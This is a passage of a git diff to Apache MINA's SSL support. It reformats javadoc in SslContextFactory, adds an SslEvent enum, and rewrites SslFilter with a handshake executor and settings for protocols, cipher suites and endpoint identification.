context.getServerSessionContext().setSessionTimeout( - serverSessionTimeout); + context.getServerSessionContext().setSessionTimeout(serverSessionTimeout); } return context; @@ -157,7 +182,7 @@ public SSLContext newInstance() throws Exception { /** * Sets the provider of the new {@link SSLContext}. The default value is - * null, which means the default provider will be used. + * null, which means the default provider will be used. * * @param provider the name of the {@link SSLContext} provider */ @@ -166,8 +191,8 @@ public void setProvider(String provider) { } /** - * Sets the protocol to use when creating the {@link SSLContext}. The - * default is TLS. + * Sets the protocol to use when creating the {@link SSLContext}. The default is + * TLS. * * @param protocol the name of the protocol. */ @@ -175,31 +200,30 @@ public void setProtocol(String protocol) { if (protocol == null) { throw new IllegalArgumentException("protocol"); } + this.protocol = protocol; } /** - * If this is set to true while no {@link KeyManagerFactory} - * has been set using {@link #setKeyManagerFactory(KeyManagerFactory)} and - * no algorithm has been set using - * {@link #setKeyManagerFactoryAlgorithm(String)} the default algorithm - * return by {@link KeyManagerFactory#getDefaultAlgorithm()} will be used. - * The default value of this property is true. + * If this is set to true while no {@link KeyManagerFactory} has been + * set using {@link #setKeyManagerFactory(KeyManagerFactory)} and no algorithm + * has been set using {@link #setKeyManagerFactoryAlgorithm(String)} the default + * algorithm return by {@link KeyManagerFactory#getDefaultAlgorithm()} will be + * used. The default value of this property is true. * - * @param useDefault - * true or false. + * @param useDefault true or false. */ public void setKeyManagerFactoryAlgorithmUseDefault(boolean useDefault) { this.keyManagerFactoryAlgorithmUseDefault = useDefault; } /** - * If this is set to true while no {@link TrustManagerFactory} - * has been set using {@link #setTrustManagerFactory(TrustManagerFactory)} and - * no algorithm has been set using - * {@link #setTrustManagerFactoryAlgorithm(String)} the default algorithm - * return by {@link TrustManagerFactory#getDefaultAlgorithm()} will be used. - * The default value of this property is true. + * If this is set to true while no {@link TrustManagerFactory} has been + * set using {@link #setTrustManagerFactory(TrustManagerFactory)} and no + * algorithm has been set using {@link #setTrustManagerFactoryAlgorithm(String)} + * the default algorithm return by + * {@link TrustManagerFactory#getDefaultAlgorithm()} will be used. The default + * value of this property is true. * * @param useDefault true or false. */ @@ -219,20 +243,18 @@ public void setKeyManagerFactory(KeyManagerFactory factory) { } /** - * Sets the algorithm to use when creating the {@link KeyManagerFactory} - * using {@link KeyManagerFactory#getInstance(java.lang.String)} or + * Sets the algorithm to use when creating the {@link KeyManagerFactory} using + * {@link KeyManagerFactory#getInstance(java.lang.String)} or * {@link KeyManagerFactory#getInstance(java.lang.String, java.lang.String)}. *

    - * This property will be ignored if a {@link KeyManagerFactory} has been - * set directly using {@link #setKeyManagerFactory(KeyManagerFactory)}. - *

    + * This property will be ignored if a {@link KeyManagerFactory} has been set + * directly using {@link #setKeyManagerFactory(KeyManagerFactory)}. *

    - * If this property isn't set while no {@link KeyManagerFactory} has been - * set using {@link #setKeyManagerFactory(KeyManagerFactory)} and + * If this property isn't set while no {@link KeyManagerFactory} has been set + * using {@link #setKeyManagerFactory(KeyManagerFactory)} and * {@link #setKeyManagerFactoryAlgorithmUseDefault(boolean)} has been set to - * true the value returned - * by {@link KeyManagerFactory#getDefaultAlgorithm()} will be used instead. - *

    + * true the value returned by + * {@link KeyManagerFactory#getDefaultAlgorithm()} will be used instead. * * @param algorithm the algorithm to use. */ @@ -241,19 +263,16 @@ public void setKeyManagerFactoryAlgorithm(String algorithm) { } /** - * Sets the provider to use when creating the {@link KeyManagerFactory} - * using + * Sets the provider to use when creating the {@link KeyManagerFactory} using * {@link KeyManagerFactory#getInstance(java.lang.String, java.lang.String)}. *

    - * This property will be ignored if a {@link KeyManagerFactory} has been - * set directly using {@link #setKeyManagerFactory(KeyManagerFactory)}. - *

    + * This property will be ignored if a {@link KeyManagerFactory} has been set + * directly using {@link #setKeyManagerFactory(KeyManagerFactory)}. *

    * If this property isn't set and no {@link KeyManagerFactory} has been set * using {@link #setKeyManagerFactory(KeyManagerFactory)} - * {@link KeyManagerFactory#getInstance(java.lang.String)} will be used - * to create the {@link KeyManagerFactory}. - *

    + * {@link KeyManagerFactory#getInstance(java.lang.String)} will be used to + * create the {@link KeyManagerFactory}. * * @param provider the name of the provider. */ @@ -263,8 +282,8 @@ public void setKeyManagerFactoryProvider(String provider) { /** * Sets the {@link KeyStore} which will be used in the call to - * {@link KeyManagerFactory#init(java.security.KeyStore, char[])} when - * the {@link SSLContext} is created. + * {@link KeyManagerFactory#init(java.security.KeyStore, char[])} when the + * {@link SSLContext} is created. * * @param keyStore the key store. */ @@ -274,8 +293,8 @@ public void setKeyManagerFactoryKeyStore(KeyStore keyStore) { /** * Sets the password which will be used in the call to - * {@link KeyManagerFactory#init(java.security.KeyStore, char[])} when - * the {@link SSLContext} is created. + * {@link KeyManagerFactory#init(java.security.KeyStore, char[])} when the + * {@link SSLContext} is created. * * @param password the password. Use null to disable password. */ @@ -288,32 +307,29 @@ public void setKeyManagerFactoryKeyStorePassword(String password) { } /** - * Sets the {@link TrustManagerFactory} to use. If this is set the - * properties which are used by this factory bean to create a - * {@link TrustManagerFactory} will all be ignored. + * Sets the {@link TrustManagerFactory} to use. If this is set the properties + * which are used by this factory bean to create a {@link TrustManagerFactory} + * will all be ignored. * - * @param factory - * the factory. + * @param factory the factory. */ public void setTrustManagerFactory(TrustManagerFactory factory) { this.trustManagerFactory = factory; } /** - * Sets the algorithm to use when creating the {@link TrustManagerFactory} - * using {@link TrustManagerFactory#getInstance(java.lang.String)} or + * Sets the algorithm to use when creating the {@link TrustManagerFactory} using + * {@link TrustManagerFactory#getInstance(java.lang.String)} or * {@link TrustManagerFactory#getInstance(java.lang.String, java.lang.String)}. *

    - * This property will be ignored if a {@link TrustManagerFactory} has been - * set directly using {@link #setTrustManagerFactory(TrustManagerFactory)}. - *

    + * This property will be ignored if a {@link TrustManagerFactory} has been set + * directly using {@link #setTrustManagerFactory(TrustManagerFactory)}. *

    - * If this property isn't set while no {@link TrustManagerFactory} has been - * set using {@link #setTrustManagerFactory(TrustManagerFactory)} and + * If this property isn't set while no {@link TrustManagerFactory} has been set + * using {@link #setTrustManagerFactory(TrustManagerFactory)} and * {@link #setTrustManagerFactoryAlgorithmUseDefault(boolean)} has been set to - * true the value returned - * by {@link TrustManagerFactory#getDefaultAlgorithm()} will be used instead. - *

    + * true the value returned by + * {@link TrustManagerFactory#getDefaultAlgorithm()} will be used instead. * * @param algorithm the algorithm to use. */ @@ -323,12 +339,12 @@ public void setTrustManagerFactoryAlgorithm(String algorithm) { /** * Sets the {@link KeyStore} which will be used in the call to - * {@link TrustManagerFactory#init(java.security.KeyStore)} when - * the {@link SSLContext} is created. + * {@link TrustManagerFactory#init(java.security.KeyStore)} when the + * {@link SSLContext} is created. *

    * This property will be ignored if {@link ManagerFactoryParameters} has been - * set directly using {@link #setTrustManagerFactoryParameters(ManagerFactoryParameters)}. - *

    + * set directly using + * {@link #setTrustManagerFactoryParameters(ManagerFactoryParameters)}. * * @param keyStore the key store. */ @@ -343,25 +359,21 @@ public void setTrustManagerFactoryKeyStore(KeyStore keyStore) { * * @param parameters describing provider-specific trust material. */ - public void setTrustManagerFactoryParameters( - ManagerFactoryParameters parameters) { + public void setTrustManagerFactoryParameters(ManagerFactoryParameters parameters) { this.trustManagerFactoryParameters = parameters; } /** - * Sets the provider to use when creating the {@link TrustManagerFactory} - * using + * Sets the provider to use when creating the {@link TrustManagerFactory} using * {@link TrustManagerFactory#getInstance(java.lang.String, java.lang.String)}. *

    - * This property will be ignored if a {@link TrustManagerFactory} has been - * set directly using {@link #setTrustManagerFactory(TrustManagerFactory)}. - *

    + * This property will be ignored if a {@link TrustManagerFactory} has been set + * directly using {@link #setTrustManagerFactory(TrustManagerFactory)}. *

    * If this property isn't set and no {@link TrustManagerFactory} has been set * using {@link #setTrustManagerFactory(TrustManagerFactory)} - * {@link TrustManagerFactory#getInstance(java.lang.String)} will be used - * to create the {@link TrustManagerFactory}. - *

    + * {@link TrustManagerFactory#getInstance(java.lang.String)} will be used to + * create the {@link TrustManagerFactory}. * * @param provider the name of the provider. */ @@ -374,15 +386,17 @@ public void setTrustManagerFactoryProvider(String provider) { * {@link SSLContext}. The JVM's default will be used if this isn't set. * * @param secureRandom the {@link SecureRandom} or null if the - * JVM's default should be used. - * @see SSLContext#init(javax.net.ssl.KeyManager[], javax.net.ssl.TrustManager[], java.security.SecureRandom) + * JVM's default should be used. + * @see SSLContext#init(javax.net.ssl.KeyManager[], + * javax.net.ssl.TrustManager[], java.security.SecureRandom) */ public void setSecureRandom(SecureRandom secureRandom) { this.secureRandom = secureRandom; } /** - * Sets the SSLSession cache size for the {@link SSLSessionContext} for use in client mode. + * Sets the SSLSession cache size for the {@link SSLSessionContext} for use in + * client mode. * * @param size the new session cache size limit; zero means there is no limit. * @see SSLSessionContext#setSessionCacheSize(int size) @@ -392,9 +406,11 @@ public void setClientSessionCacheSize(int size) { } /** - * Set the SSLSession timeout limit for the {@link SSLSessionContext} for use in client mode. + * Set the SSLSession timeout limit for the {@link SSLSessionContext} for use in + * client mode. * - * @param seconds the new session timeout limit in seconds; zero means there is no limit. + * @param seconds the new session timeout limit in seconds; zero means there is + * no limit. * @see SSLSessionContext#setSessionTimeout(int seconds) */ public void setClientSessionTimeout(int seconds) { @@ -402,9 +418,11 @@ public void setClientSessionTimeout(int seconds) { } /** - * Sets the SSLSession cache size for the {@link SSLSessionContext} for use in server mode. + * Sets the SSLSession cache size for the {@link SSLSessionContext} for use in + * server mode. * - * @param serverSessionCacheSize the new session cache size limit; zero means there is no limit. + * @param serverSessionCacheSize the new session cache size limit; zero means + * there is no limit. * @see SSLSessionContext#setSessionCacheSize(int) */ public void setServerSessionCacheSize(int serverSessionCacheSize) { @@ -412,9 +430,11 @@ public void setServerSessionCacheSize(int serverSessionCacheSize) { } /** - * Set the SSLSession timeout limit for the {@link SSLSessionContext} for use in server mode. + * Set the SSLSession timeout limit for the {@link SSLSessionContext} for use in + * server mode. * - * @param serverSessionTimeout the new session timeout limit in seconds; zero means there is no limit. + * @param serverSessionTimeout the new session timeout limit in seconds; zero + * means there is no limit. * @see SSLSessionContext#setSessionTimeout(int) */ public void setServerSessionTimeout(int serverSessionTimeout) { diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslEvent.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslEvent.java new file mode 100644 index 0000000000..49e271f174 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslEvent.java @@ -0,0 +1,32 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.filter.FilterEvent; + +/** + * A SSL event sent by {@link SslFilter} when the session is secured or not + * secured. + * + * @author Apache MINA Project + */ +public enum SslEvent implements FilterEvent { + SECURED, UNSECURED +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java index bc76918650..bcf6451393 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslFilter.java @@ -20,758 +20,470 @@ package org.apache.mina.filter.ssl; import java.net.InetSocketAddress; -import java.util.ArrayList; -import java.util.List; +import java.util.Objects; +import java.util.concurrent.Executor; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLEngine; import javax.net.ssl.SSLException; -import javax.net.ssl.SSLHandshakeException; -import javax.net.ssl.SSLSession; +import javax.net.ssl.SSLParameters; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilterAdapter; import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.future.DefaultWriteFuture; -import org.apache.mina.core.future.IoFuture; -import org.apache.mina.core.future.IoFutureListener; -import org.apache.mina.core.future.WriteFuture; -import org.apache.mina.core.service.IoAcceptor; -import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; -import org.apache.mina.core.write.WriteRequestWrapper; -import org.apache.mina.core.write.WriteToClosedSessionException; +import org.apache.mina.util.BasicThreadFactory; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** - * An SSL filter that encrypts and decrypts the data exchanged in the session. - * Adding this filter triggers SSL handshake procedure immediately by sending - * a SSL 'hello' message, so you don't need to call - * {@link #startSsl(IoSession)} manually unless you are implementing StartTLS - * (see below). If you don't want the handshake procedure to start - * immediately, please specify {@code false} as {@code autoStart} parameter in - * the constructor. + * A SSL processor which performs flow control of encrypted information on the + * filter-chain. *

    - * This filter uses an {@link SSLEngine} which was introduced in Java 5, so - * Java version 5 or above is mandatory to use this filter. And please note that - * this filter only works for TCP/IP connections. - *

    - * - *

    Implementing StartTLS

    - *

    - * You can use {@link #DISABLE_ENCRYPTION_ONCE} attribute to implement StartTLS: - *

    - * public void messageReceived(IoSession session, Object message) {
    - *    if (message instanceof MyStartTLSRequest) {
    - *        // Insert SSLFilter to get ready for handshaking
    - *        session.getFilterChain().addFirst(sslFilter);
    - *
    - *        // Disable encryption temporarilly.
    - *        // This attribute will be removed by SSLFilter
    - *        // inside the Session.write() call below.
    - *        session.setAttribute(SSLFilter.DISABLE_ENCRYPTION_ONCE, Boolean.TRUE);
    - *
    - *        // Write StartTLSResponse which won't be encrypted.
    - *        session.write(new MyStartTLSResponse(OK));
    - *
    - *        // Now DISABLE_ENCRYPTION_ONCE attribute is cleared.
    - *        assert session.getAttribute(SSLFilter.DISABLE_ENCRYPTION_ONCE) == null;
    - *    }
    - * }
    - * 
    + * The initial handshake is automatically enabled for "client" sessions once the + * filter is added to the filter-chain and the session is connected. * + * @author Jonathan Valliere * @author Apache MINA Project - * @org.apache.xbean.XBean */ public class SslFilter extends IoFilterAdapter { - /** The logger */ - private static final Logger LOGGER = LoggerFactory.getLogger( SslFilter.class ); - /** - * A session attribute key that stores underlying {@link SSLSession} - * for each session. + * SSLSession object when the session is secured, otherwise null. */ - public static final AttributeKey SSL_SESSION = new AttributeKey(SslFilter.class, "session"); + static public final AttributeKey SSL_SECURED = new AttributeKey(SslFilter.class, "status"); /** - * A session attribute key that makes next one write request bypass - * this filter (not encrypting the data). This is a marker attribute, - * which means that you can put whatever as its value. ({@link Boolean#TRUE} - * is preferred.) The attribute is automatically removed from the session - * attribute map as soon as {@link IoSession#write(Object)} is invoked, - * and therefore should be put again if you want to make more messages - * bypass this filter. This is especially useful when you implement - * StartTLS. + * Returns the SSL2Handler object */ - public static final AttributeKey DISABLE_ENCRYPTION_ONCE = new AttributeKey(SslFilter.class, "disableOnce"); + static protected final AttributeKey SSL_HANDLER = new AttributeKey(SslHandler.class, "handler"); /** - * A session attribute key that makes this filter to emit a - * {@link IoHandler#messageReceived(IoSession, Object)} event with a - * special message ({@link #SESSION_SECURED} or {@link #SESSION_UNSECURED}). - * This is a marker attribute, which means that you can put whatever as its - * value. ({@link Boolean#TRUE} is preferred.) By default, this filter - * doesn't emit any events related with SSL session flow control. + * The logger */ - public static final AttributeKey USE_NOTIFICATION = new AttributeKey(SslFilter.class, "useNotification"); + static protected final Logger LOGGER = LoggerFactory.getLogger(SslFilter.class); /** - * A session attribute key that should be set to an {@link InetSocketAddress}. - * Setting this attribute causes - * {@link SSLContext#createSSLEngine(String, int)} to be called passing the - * hostname and port of the {@link InetSocketAddress} to get an - * {@link SSLEngine} instance. If not set {@link SSLContext#createSSLEngine()} - * will be called.
    - * Using this feature {@link SSLSession} objects may be cached and reused - * when in client mode. - * - * @see SSLContext#createSSLEngine(String, int) + * Task executor for processing handshakes */ - public static final AttributeKey PEER_ADDRESS = new AttributeKey(SslFilter.class, "peerAddress"); + static protected final Executor EXECUTOR = new ThreadPoolExecutor(2, 2, 100, TimeUnit.MILLISECONDS, + new LinkedBlockingDeque<>(), new BasicThreadFactory("ssl-exec", true)); - /** - * A special message object which is emitted with a {@link IoHandler#messageReceived(IoSession, Object)} - * event when the session is secured and its {@link #USE_NOTIFICATION} - * attribute is set. - */ - public static final SslFilterMessage SESSION_SECURED = new SslFilterMessage( - "SESSION_SECURED"); + protected final SSLContext sslContext; + + /** A flag used to tell the filter to start the handshake immediately (in onPostAdd method) + * alternatively handshake will be started after session is connected (in sessionOpened method) + * default value is true + **/ + private final boolean autoStart; /** - * A special message object which is emitted with a {@link IoHandler#messageReceived(IoSession, Object)} - * event when the session is not secure anymore and its {@link #USE_NOTIFICATION} - * attribute is set. + * Enables the non-blocking pipelines */ - public static final SslFilterMessage SESSION_UNSECURED = new SslFilterMessage( - "SESSION_UNSECURED"); - - private static final AttributeKey NEXT_FILTER = new AttributeKey(SslFilter.class, "nextFilter"); - private static final AttributeKey SSL_HANDLER = new AttributeKey(SslFilter.class, "handler"); + private boolean nonBlockingPipeline = true; - /** The SslContext used */ - /* No qualifier */ final SSLContext sslContext; + /** A flag set if client authentication is required */ + protected boolean needClientAuth = false; - /** A flag used to tell the filter to start the handshake immediately */ - private final boolean autoStart; + /** A flag set if client authentication is requested */ + protected boolean wantClientAuth = false; - /** A flag used to determinate if the handshake should start immediately */ - private static final boolean START_HANDSHAKE = true; - - private boolean client; - - private boolean needClientAuth; - - private boolean wantClientAuth; - - private String[] enabledCipherSuites; + /** The enabled Ciphers. */ + protected String[] enabledCipherSuites; + + /** + * The list of enabled SSL/TLS protocols. Must be an array of String, containing: + *
      + *
    • SSLv2Hello
    • + *
    • SSLv3
    • + *
    • TLSv1.1 or TLSv1
    • + *
    • TLSv1.2
    • + *
    • TLSv1.3
    • + *
    • NONE
    • + *
    + * + * If null, we will use the default SSLEngine configurtation. + **/ + protected String[] enabledProtocols; - private String[] enabledProtocols; + /** + * EndPoint identification algorithms + */ + private String identificationAlgorithm; /** * Creates a new SSL filter using the specified {@link SSLContext}. - * The handshake will start immediately. + * + * @param sslContext The SSLContext to use */ public SslFilter(SSLContext sslContext) { - this(sslContext, START_HANDSHAKE); + this(sslContext, true); } /** * Creates a new SSL filter using the specified {@link SSLContext}. * If the autostart flag is set to true, the - * handshake will start immediately. + * handshake will start immediately after the filter has been added + * to the chain. + * + * @param sslContext The SSLContext to use + * @param autoStart The flag used to tell the filter to start the handshake immediately */ public SslFilter(SSLContext sslContext, boolean autoStart) { - if (sslContext == null) { - throw new IllegalArgumentException("sslContext"); - } + Objects.requireNonNull(sslContext, "ssl must not be null"); this.sslContext = sslContext; this.autoStart = autoStart; } /** - * Returns the underlying {@link SSLSession} for the specified session. - * - * @return null if no {@link SSLSession} is initialized yet. - */ - public SSLSession getSslSession(IoSession session) { - return (SSLSession) session.getAttribute(SSL_SESSION); - } - - /** - * (Re)starts SSL session for the specified session if not started yet. - * Please note that SSL session is automatically started by default, and therefore - * you don't need to call this method unless you've used TLS closure. - * - * @return true if the SSL session has been started, false if already started. - * @throws SSLException if failed to start the SSL session - */ - public boolean startSsl(IoSession session) throws SSLException { - SslHandler handler = getSslSessionHandler(session); - boolean started; - synchronized (handler) { - if (handler.isOutboundDone()) { - NextFilter nextFilter = (NextFilter) session - .getAttribute(NEXT_FILTER); - handler.destroy(); - handler.init(); - handler.handshake(nextFilter); - started = true; - } else { - started = false; - } - } - - handler.flushScheduledEvents(); - return started; - } - - - /** - * An extended toString() method for sessions. If the SSL handshake - * is not yet completed, we will print (ssl) in small caps. Once it's - * completed, we will use SSL capitalized. - */ - /* no qualifier */ String getSessionInfo(IoSession session) { - StringBuilder sb = new StringBuilder(); - - if (session.getService() instanceof IoAcceptor) { - sb.append("Session Server"); - - } else { - sb.append("Session Client"); - } - - sb.append('[').append(session.getId()).append(']'); - - SslHandler handler = (SslHandler) session.getAttribute(SSL_HANDLER); - - if (handler == null) { - sb.append("(no sslEngine)"); - } else if (isSslStarted(session)) { - if ( handler.isHandshakeComplete()) { - sb.append("(SSL)"); - } else { - sb.append( "(ssl...)" ); - } - } - - return sb.toString(); - } - - /** - * Returns true if and only if the specified session is - * encrypted/decrypted over SSL/TLS currently. This method will start - * to return false after TLS close_notify message - * is sent and any messages written after then is not going to get encrypted. - */ - public boolean isSslStarted(IoSession session) { - SslHandler handler = (SslHandler) session.getAttribute(SSL_HANDLER); - - if (handler == null) { - return false; - } - - synchronized (handler) { - return !handler.isOutboundDone(); - } - } - - /** - * Stops the SSL session by sending TLS close_notify message to - * initiate TLS closure. + * Configures the use of the Non Blocking SSL processor. This is experimental. * - * @param session the {@link IoSession} to initiate TLS closure - * @throws SSLException if failed to initiate TLS closure - * @throws IllegalArgumentException if this filter is not managing the specified session + * @param enable true if the non blocking SSL processor is enabled */ - public WriteFuture stopSsl(IoSession session) throws SSLException { - SslHandler handler = getSslSessionHandler(session); - NextFilter nextFilter = (NextFilter) session.getAttribute(NEXT_FILTER); - WriteFuture future; - synchronized (handler) { - future = initiateClosure(nextFilter, session); - } - - handler.flushScheduledEvents(); - - return future; + public void setUseNonBlockingPipeline(boolean enable) { + this.nonBlockingPipeline = enable; } /** - * Returns true if the engine is set to use client mode - * when handshaking. - */ - public boolean isUseClientMode() { - return client; - } - - /** - * Configures the engine to use client (or server) mode when handshaking. - */ - public void setUseClientMode(boolean clientMode) { - this.client = clientMode; - } - - /** - * Returns true if the engine will require client authentication. - * This option is only useful to engines in the server mode. + * @return true if the engine will require client + * authentication. This option is only useful to engines in the server + * mode. */ public boolean isNeedClientAuth() { return needClientAuth; } /** - * Configures the engine to require client authentication. - * This option is only useful for engines in the server mode. + * Configures the engine to require client authentication. This option + * is only useful for engines in the server mode. + * + * @param needClientAuth A flag set when client authentication is required */ public void setNeedClientAuth(boolean needClientAuth) { this.needClientAuth = needClientAuth; } /** - * Returns true if the engine will request client authentication. - * This option is only useful to engines in the server mode. + * @return true if the engine will request client + * authentication. This option is only useful to engines in the server + * mode. */ public boolean isWantClientAuth() { return wantClientAuth; } /** - * Configures the engine to request client authentication. - * This option is only useful for engines in the server mode. + * Configures the engine to request client authentication. This option + * is only useful for engines in the server mode. + * + * @param wantClientAuth A flag set when client authentication is requested */ public void setWantClientAuth(boolean wantClientAuth) { this.wantClientAuth = wantClientAuth; } /** - * Returns the list of cipher suites to be enabled when {@link SSLEngine} - * is initialized. - * - * @return null means 'use {@link SSLEngine}'s default.' + * @return the list of cipher suites to be enabled when {@link SSLEngine} is + * initialized. null means 'use {@link SSLEngine}'s default.' */ public String[] getEnabledCipherSuites() { return enabledCipherSuites; } /** - * Sets the list of cipher suites to be enabled when {@link SSLEngine} - * is initialized. + * Sets the list of cipher suites to be enabled when {@link SSLEngine} is + * initialized. * - * @param cipherSuites null means 'use {@link SSLEngine}'s default.' + * @param enabledCipherSuites The list of enabled Cipher. + * null means 'use {@link SSLEngine}'s default.' */ - public void setEnabledCipherSuites(String[] cipherSuites) { - this.enabledCipherSuites = cipherSuites; + public void setEnabledCipherSuites(String... enabledCipherSuites) { + this.enabledCipherSuites = enabledCipherSuites; } /** - * Returns the list of protocols to be enabled when {@link SSLEngine} - * is initialized. - * - * @return null means 'use {@link SSLEngine}'s default.' + * @return the endpoint identification algorithm to be used when {@link SSLEngine} + * is initialized. null means 'use {@link SSLEngine}'s default.' */ - public String[] getEnabledProtocols() { - return enabledProtocols; + public String getEndpointIdentificationAlgorithm() { + return identificationAlgorithm; } /** - * Sets the list of protocols to be enabled when {@link SSLEngine} + * Sets the endpoint identification algorithm to be used when {@link SSLEngine} * is initialized. * - * @param protocols null means 'use {@link SSLEngine}'s default.' + * @param identificationAlgorithm null means 'use {@link SSLEngine}'s default.' */ - public void setEnabledProtocols(String[] protocols) { - this.enabledProtocols = protocols; + public void setEndpointIdentificationAlgorithm(String identificationAlgorithm) { + this.identificationAlgorithm = identificationAlgorithm; } + /** - * Executed just before the filter is added into the chain, we do : - *
      - *
    • check that we don't have a SSL filter already present - *
    • we update the next filter - *
    • we create the SSL handler helper class - *
    • and we store it into the session's Attributes - *
    + * @return the list of protocols to be enabled when {@link SSLEngine} is + * initialized. null means 'use {@link SSLEngine}'s default.' */ - @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws SSLException { - // Check that we don't have a SSL filter already present in the chain - if (parent.contains(SslFilter.class)) { - String msg = "Only one SSL filter is permitted in a chain."; - LOGGER.error(msg); - throw new IllegalStateException(msg); - } - - LOGGER.debug("Adding the SSL Filter {} to the chain", name); - - IoSession session = parent.getSession(); - session.setAttribute(NEXT_FILTER, nextFilter); - - // Create a SSL handler and start handshake. - SslHandler handler = new SslHandler(this, session); - handler.init(); - session.setAttribute(SSL_HANDLER, handler); + public String[] getEnabledProtocols() { + return enabledProtocols; } - @Override - public void onPostAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws SSLException { - if (autoStart == START_HANDSHAKE) { - initiateHandshake(nextFilter, parent.getSession()); - } + /** + * Gets the given session's SslHandler. + * + * @param session An IoSession to query. + * @return the given session's SslHandler. + */ + private SslHandler getSslHandler(IoSession session) { + return SslHandler.class.cast(session.getAttribute(SSL_HANDLER)); } - @Override - public void onPreRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws SSLException { - IoSession session = parent.getSession(); - stopSsl(session); - session.removeAttribute(NEXT_FILTER); - session.removeAttribute(SSL_HANDLER); + /** + * Sets the list of protocols to be enabled when {@link SSLEngine} is + * initialized. + * + * @param enabledProtocols The list of enabled SSL/TLS protocols. + * null means 'use {@link SSLEngine}'s default.' + */ + public void setEnabledProtocols(String... enabledProtocols) { + this.enabledProtocols = enabledProtocols; } - // IoFilter impl. + /** + * {@inheritDoc} + */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws SSLException { - SslHandler handler = getSslSessionHandler(session); - try { - synchronized (handler) { - // release resources - handler.destroy(); - } - - handler.flushScheduledEvents(); - } finally { - // notify closed session - nextFilter.sessionClosed(session); + public void onPreAdd(IoFilterChain parent, String name, NextFilter next) throws Exception { + // Check that we don't have a SSL filter already present in the chain + if (parent.contains(SslFilter.class)) { + throw new IllegalStateException("Only one SSL filter is permitted in a chain"); } - } - @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws SSLException { - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{}: Message received : {}", getSessionInfo(session), message); - } - - SslHandler handler = getSslSessionHandler(session); - - synchronized (handler) { - if (!isSslStarted(session) && handler.isInboundDone()) { - // The SSL session must be established first before we - // can push data to the application. Store the incoming - // data into a queue for a later processing - handler.scheduleMessageReceived(nextFilter, message); + if (LOGGER.isDebugEnabled()) { + if (parent.getSession().isServer()) { + LOGGER.debug("SERVER: Adding the SSL Filter '{}' to the chain", name); } else { - IoBuffer buf = (IoBuffer) message; - - try { - // forward read encrypted data to SSL handler - handler.messageReceived(nextFilter, buf.buf()); - - // Handle data to be forwarded to application or written to net - handleSslData(nextFilter, handler); - - if (handler.isInboundDone()) { - if (handler.isOutboundDone()) { - handler.destroy(); - } else { - initiateClosure(nextFilter, session); - } - - if (buf.hasRemaining()) { - // Forward the data received after closure. - handler.scheduleMessageReceived(nextFilter, buf); - } - } - } catch (SSLException ssle) { - if (!handler.isHandshakeComplete()) { - SSLException newSsle = new SSLHandshakeException( - "SSL handshake failed."); - newSsle.initCause(ssle); - ssle = newSsle; - } - - throw ssle; - } + LOGGER.debug("CLIENT: Adding the SSL Filter '{}' to the chain", name); } } - - handler.flushScheduledEvents(); } + /** + * {@inheritDoc} + */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) { - if (writeRequest instanceof EncryptedWriteRequest) { - EncryptedWriteRequest wrappedRequest = (EncryptedWriteRequest) writeRequest; - nextFilter.messageSent(session, wrappedRequest.getParentRequest()); - } else { - // ignore extra buffers used for handshaking - } - } + public void onPostAdd(IoFilterChain parent, String name, NextFilter next) throws Exception { + IoSession session = parent.getSession(); - @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { - - if (cause instanceof WriteToClosedSessionException) { - // Filter out SSL close notify, which is likely to fail to flush - // due to disconnection. - WriteToClosedSessionException e = (WriteToClosedSessionException) cause; - List failedRequests = e.getRequests(); - boolean containsCloseNotify = false; - for (WriteRequest r: failedRequests) { - if (isCloseNotify(r.getMessage())) { - containsCloseNotify = true; - break; - } - } - - if (containsCloseNotify) { - if (failedRequests.size() == 1) { - // close notify is the only failed request; bail out. - return; - } - - List newFailedRequests = - new ArrayList(failedRequests.size() - 1); - for (WriteRequest r: failedRequests) { - if (!isCloseNotify(r.getMessage())) { - newFailedRequests.add(r); - } - } - - if (newFailedRequests.isEmpty()) { - // the failedRequests were full with close notify; bail out. - return; - } - - cause = new WriteToClosedSessionException( - newFailedRequests, cause.getMessage(), cause.getCause()); - } + // The SslFilter has been added *after* the session has been created and opened. + // We need to initiate the HandShake, this is done here, unless the user wants + // to differ the HandShake to later (and in this case autoStart is set to false) + if (session.isConnected() && autoStart) { + onConnected(next, session); } - nextFilter.exceptionCaught(session, cause); - } - - private boolean isCloseNotify(Object message) { - if (!(message instanceof IoBuffer)) { - return false; - } - - IoBuffer buf = (IoBuffer) message; - int offset = buf.position(); - return buf.remaining() == 23 && - buf.get(offset + 0) == 0x15 && buf.get(offset + 1) == 0x03 && - buf.get(offset + 2) == 0x01 && 